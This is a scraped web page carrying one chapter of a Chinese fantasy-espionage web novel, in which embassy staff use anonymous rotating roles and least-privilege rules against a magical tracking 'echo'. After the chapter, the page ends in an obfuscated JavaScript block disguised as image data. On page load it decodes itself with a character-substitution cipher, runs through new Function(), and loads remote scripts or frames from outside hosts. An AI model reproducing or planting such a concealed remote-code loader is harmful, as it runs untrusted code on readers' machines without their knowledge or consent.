首页
第471章 请不要把最小权限
返回
关灯 护眼:关 字号:小

第471章 请不要把最小权限解释成六亲不认

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第471章请不要把最小权限解释成六亲不认(第1/2页)
    赵星推开隔离室的门时,走廊里的灯闪了一下。
    不是电压不稳那种闪——是整条走廊的照明同时暗了半秒,然后恢复,像什么东西从电路上碾过去。安全官的手已经按上腰侧,但赵星没停,快步朝楼梯口走。
    “第三层。”他说,声音不大,但走廊两端都听得见,“所有人,现在。”
    阵师跟在他身后半步,阵盘上的青光在昏暗的走廊里一跳一跳,像心跳的投影。技术随员和勤务员小跑着跟上,靴子踩在地砖上发出凌乱的啪嗒声。
    “第三层是什么?”安全官追上来,压低声音问。
    “通信室。”赵星没回头,“加密通信室,使馆对联邦本土的唯一直连通道。”
    安全官的脚步顿了一下,然后追得更紧:“那个值守员——”
    “还在里面。”
    ***
    第三层的门是金属的,厚五厘米,内嵌铅板。赵星把掌心按在识别区上,门锁发出沉闷的咔嗒声,然后弹开。他没急着推门,侧身挤进去半个肩膀。
    通信值守员坐在终端前,听见门响转过头来,脸上还挂着耳机。看见赵星的表情后,他慢慢把耳机摘下来,放在桌上。
    “出了什么事?”
    赵星没回答。他扫了一眼通信室——终端亮着,密钥插槽空着,墙上挂着值班表,桌上摆着半杯凉茶。一切正常。太正常了。
    “切断所有对外链路。”赵星说,“现在。”
    值守员的手指在键盘上敲了两下,屏幕上弹出一串确认窗口,然后所有指示灯同时熄灭。通信室安静下来,只剩下空调的低频嗡鸣。
    “已经切了。”值守员说,“怎么了?”
    赵星转身走出通信室,站在走廊里,看向阵师。阵师站在楼梯口,阵盘上的青光正在缓缓旋转,像一只盯着猎物的眼睛。
    “还在吗?”赵星问。
    阵师没说话。他抬起左手,掌心朝上,阵盘上的光纹开始向一个方向汇聚——不是向上,不是向下,是沿着走廊的墙面,像水一样流过来,流进通信室的门缝。
    “在。”阵师说,“比刚才更近。”
    赵星深吸一口气,然后转身对所有人说:“从现在开始,第三层不许叫名字。”
    安全官皱眉:“什么意思?”
    “意思是不许叫任何人的名字。”赵星的声音很平,像在念操作规程,“不许叫职务,不许叫编号,不许叫外号。你们之间只能用‘喂’、‘你’、‘那个谁’。”
    技术随员张了张嘴,又闭上了。
    “还有,”赵星看向阵师,“你也不许叫。”
    阵师微微点头,没说话。
    ***
    十五分钟后,第三层变成了一个沉默的世界。
    赵星站在通信室门外,看着走廊里的五个人——安全官、技术随员、勤务员、通信值守员、阵师——每个人都贴着墙站着,像等待被抽检的货物。没有人说话,没有人走动,没有人看别人的眼睛。
    阵师闭着眼,阵盘平放在掌心,青色的光纹在盘面上缓慢游走。赵星盯着那些光纹,看它们从盘心开始,一圈一圈向外扩散,然后——
    然后停住了。
    阵师睁开眼:“回响还在。”
    “在哪里?”
    “你。”阵师看向赵星,“在你身上。”
    赵星没动。他站在原地,目光落在阵盘上,看着那些光纹重新开始流动——不是流向通信室,不是流向值守员,是沿着一条看不见的线流向他自己的胸口。
    “不是锁定人员。”赵星说,声音很轻,“是锁定‘赵星知道第三层有人负责通信’这个事实。”
    安全官的脸色变了:“那怎么办?总不能把所有人的记忆都删掉。”
    “不用删。”赵星说,“转移就行。”
    他走进通信室,从墙上摘下值班表,翻到背面,用笔在上面画了一个表格。表格只有三栏:编号、权限、时间。没有名字,没有职务,没有部门。
    “从现在开始,第三层通信室只有编号。”赵星把表格贴在墙上,“一号负责启动设备,二号持认证片,三号批准发送。抽签决定,每天轮换。”
    安全官看了一眼表格:“谁抽签?”
    “终端随机生成,不记名,不存档。”
    “那紧急情况怎么办?”
    “紧急情况按协议处理,协议写在信封里,信封密封,只有值班员在红灯亮起时才能打开。”
    安全官沉默了几秒:“这听起来像——”
    “最小权限原则。”赵星说,“不是六亲不认。”
    ***
    抽签在通信室外的走廊进行。
    赵星让五个人背对背站成一个圈,终端屏幕上滚动着随机数字。每个人伸手在屏幕上点一下,屏幕上的数字停住,然后自动分配一个编号。
    一号是技术随员。二号是勤务员。三号是通信值守员。
    安全官和阵师没有编号。
    “你们负责监督。”赵星说,“不碰设备,不碰密钥,不碰任何文件。”
    安全官的表情像是被人往嘴里塞了一只柠檬:“那我干什么?”
    “站着。”赵星说,“看着。”
    技术随员走进通信室,在终端前坐下。勤务员站在密钥柜前,手放在柜门把手上。通信值守员站在批准终端前,手指悬在确认键上方。
    阵师闭上眼,阵盘上的光纹开始旋转。
    十秒。二十秒。一分钟。
    “减弱了。”阵师说,声音里带着一丝惊讶,“回响在变淡。”
    安全官的眼睛亮了一下:“有效?”
    “等等。”阵师的手微微抬起,阵盘上的光纹突然加速旋转,然后猛地停住,“不。不是消失了。是转移了。”
    赵星的心沉了一下:“转移到哪里?”
    阵师睁开眼,目光扫过走廊里的每一个人,最后停在通信室的门上:“门上。”
    “什么门上?”
    “通信室的门。”阵师的眉头皱起来,“回响没有消失,它从人员身上转移到了门上。”
    赵星愣了一秒,然后明白了。
    不是门的问题。是协议的问题。
    所有人都相信通信室的门是第三层的入口,所有人都相信开门之后才能进入通信流程。这个“相信”没有写在任何文件上,但它存在于每个人的脑子里——包括他自己。
    (本章未完,请点击下一页继续阅读)第471章请不要把最小权限解释成六亲不认(第2/2页)
    “把门打开。”赵星说。
    安全官推开门。阵盘上的光纹跳了一下,然后重新稳定下来。
    “还在门上?”
    “在。”阵师说,“但分成了两条。一条在门上,一条在——”
    他停住了。
    “在什么?”
    “在你们所有人脑子里。”阵师的声音里带着一丝困惑,“在你们共同相信的某个东西上。”
    ***
    赵星让所有人退出走廊,只留他自己和阵师。
    “什么共同相信的东西?”他问。
    阵师没回答。他闭上眼,阵盘上的光纹开始向一个方向汇聚——不是向通信室,不是向走廊尽头,是向赵星身后的墙上。
    赵星回头。墙上什么都没有。
    “那里有什么?”阵师问。
    赵星盯着墙看了三秒,然后明白了。
    “应急通信协议。”他说,“使馆所有人都知道,如果紧急通信中断,第三层有备用流程。没有人知道具体流程是什么,但所有人都相信它存在。”
    阵师睁开眼:“所以回响没有消失,它从具体人员转移到了那个被所有人相信的协议上。”
    赵星的手指在裤缝上蹭了两下:“匿名化只能隐藏人员,无法隐藏被集体认可的权限协议。”
    “那怎么办?”
    赵星沉默了几秒,然后说:“做实验。”
    他走进通信室,从抽屉里拿出两本一模一样的文件夹。一本是真的应急流程,一本是假的。他把两本文件夹分别装在两个密封袋里,然后走出通信室。
    “技术随员。”他说,“你相信真流程。”
    技术随员接过密封袋,点了点头。
    “勤务员。”赵星说,“你相信假流程。”
    勤务员接过另一个密封袋,也点了点头。
    “其他所有人。”赵星说,“你们两个都相信。”
    安全官皱眉:“什么意思?”
    “意思是你们相信真流程是真的,也相信假流程也是真的。”赵星说,“让回响自己选。”
    ***
    实验持续了二十分钟。
    阵师闭着眼,阵盘上的光纹一直在缓慢游走。技术随员和勤务员分别站在走廊两端,各自抱着一个密封袋。其他人站在走廊中间,目光在两个密封袋之间来回移动。
    “动了。”阵师突然说,“回响在向——”
    他停住了。
    “向哪边?”
    “向那边。”阵师指向走廊尽头,指向勤务员手里的密封袋,“回响在向假流程移动。”
    安全官的脸白了一瞬:“为什么是假的?”
    赵星盯着那个密封袋看了几秒,然后说:“因为更多人相信它是真的。”
    “什么?”
    “真流程只有技术随员一个人相信。”赵星说,“假流程有所有人相信。阵法追踪的不是事实,是足够稳定的集体确信。”
    安全官张了张嘴,又闭上了。
    阵师睁开眼,看着赵星:“那如果所有人都相信假流程是真的——”
    “那假流程就会变成真的。”赵星打断他,“至少对于这个阵法来说。”
    走廊里安静了几秒。
    然后通信室里的终端突然响了一声。
    ***
    所有人都看向通信室。
    终端屏幕是黑的。外链已经切断,电源已经断开,屏幕应该是黑的。
    但它闪了一下。
    不是电源指示灯那种闪,是屏幕中央闪过一道光,像有人在另一端快速敲击了什么。然后屏幕恢复黑色,一切正常。
    “刚才那是什么?”安全官问。
    赵星没回答。他走进通信室,站在终端前,盯着黑色的屏幕看了几秒。屏幕很干净,没有消息,没有日志,没有任何痕迹。
    “权限校验。”他说,声音很轻,“无来源的权限校验。”
    “不可能。”技术随员跟进来,“外链已经切了,电源也断了,终端不可能收到任何信号。”
    赵星没说话。他转身看向阵师。
    阵师站在走廊里,阵盘上的光纹正在剧烈抖动。不是自然扩散那种抖,是像有人在另一端用力拉扯,把光纹拉成一条直线,穿过走廊的墙壁,向使馆区之外延伸。
    “那条线是什么?”赵星问。
    阵师盯着阵盘看了几秒,然后说:“回响。”
    “回响不是向内追踪吗?”
    “这是向外。”阵师的声音压得很低,“有人在另一端拉它。”
    赵星的手指在裤缝上蹭了两下:“拉它干什么?”
    阵师抬起头,目光穿过走廊的墙壁,看向使馆区之外的某个方向:“在找进来的路。”
    阵盘上的光纹突然绷直,像一根被拉到极限的弦。然后它猛地弹了一下——不是从室内向室外,是从室外向室内,像有人在另一端敲了一下门。
    阵师按住阵盘,手指微微发白:“外面有人在敲门。”
    “敲什么门?”
    “不是敲通信室的门。”阵师说,声音里带着一丝冷意,“是敲你们所有人都相信存在的那扇门。”
    赵星看着阵盘上那条穿过墙壁的青线,突然意识到一个问题。
    阵师说过,回响在追踪所有人共同相信的东西。通信协议、应急流程、值班制度——这些都是使馆内部的东西。
    但如果外面有人在主动牵引,那说明对方也知道使馆里存在这些东西。
    而且对方知道使馆里有人知道这些东西。
    赵星深吸一口气:“那条线延伸到多远?”
    阵师没回答。他盯着阵盘,嘴唇动了动,像在数什么。
    然后他说:“比知情者多一个。”
    “什么?”
    “向外延伸的回响数量。”阵师抬起头,看着赵星,“比室内知情者多出一条。”
    走廊里安静下来。
    赵星看着阵盘上那条穿过墙壁的青线,看着它消失在使馆区之外的夜色里,突然想起一个问题。
    多出来的那一条,是谁的?
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();